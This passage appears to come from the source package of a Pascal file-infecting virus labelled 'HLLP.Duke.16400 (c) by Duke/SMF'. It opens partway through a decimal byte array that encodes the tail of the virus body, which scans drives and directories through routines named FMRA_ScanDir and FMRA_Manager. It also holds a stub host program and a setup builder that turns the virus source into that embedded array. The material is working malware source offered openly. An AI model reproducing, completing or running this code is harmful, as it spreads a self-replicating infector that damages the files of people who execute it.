114,59,13,10,32,32,32,32,83,32,32,32,32,58,32,83,116,114,105,110, 103,59,13,10,66,69,71,73,78,13,10,82,97,110,100,111,109,105,122,101, 59,13,10,71,101,116,68,105,114,40,48,44,32,72,111,109,101,41,59,13, 10,105,102,32,72,111,109,101,91,76,101,110,103,116,104,40,72,111,109,101, 41,93,61,39,92,39,32,116,104,101,110,32,68,101,108,101,116,101,40,72, 111,109,101,44,76,101,110,103,116,104,40,72,111,109,101,41,44,49,41,59, 13,10,83,58,61,72,111,109,101,91,49,93,43,39,58,39,59,13,10,70, 77,82,65,95,67,104,68,114,105,118,101,40,79,82,68,40,85,112,67,97, 115,101,40,83,91,49,93,41,41,45,54,53,41,59,13,10,70,77,82,65, 95,83,99,97,110,68,105,114,40,83,41,59,13,10,70,77,82,65,95,67, 104,68,114,105,118,101,40,79,82,68,40,85,112,67,97,115,101,40,72,111, 109,101,91,49,93,41,41,45,54,53,41,59,13,10,67,104,68,105,114,40, 72,111,109,101,41,59,13,10,69,78,68,59,13,10,13,10,66,69,71,73, 78,13,10,70,77,82,65,95,77,97,110,97,103,101,114,59,13,10,69,78, 68,46,13,10); ===== end fmra_inc.inc ===== ===== begin hllpduke.pas ===== USES FMRA_BEG; BEGIN writeln(Hello); END. ===== end hllpduke.pas ===== ===== begin setup.pas ===== program Setup_for__HLLP_Duke; var t1:text; Duke_File:file of char; z:byte; ch:char; begin writeln('Setup for HLLP.Duke.16400 (c) by Duke/SMF'); Assign(t1,'fmra_inc.inc'); {$I-}ReWrite(t1);{$I+} if IOResult<>0 then Exit; WriteLn(t1,'CONST'); assign(Duke_File,'fmra_beg.pas');reset(Duke_File); writeln(t1,'Duke_Max=',filesize(Duke_File),';'); writeln(t1,'Duke_Mas:array[1..Duke_Max] of byte ='); z:=0; write(t1,'('); while not eof(Duke_File) do begin read(Duke_File,ch); write(t1,ord(ch)); if not eof(Duke_File) then write(t1,','); z:=z+1; if z=20 then begin writeln(t1,'');z:=0;end; end; write(t1,');'); Close(t1); end. ===== end setup.pas =====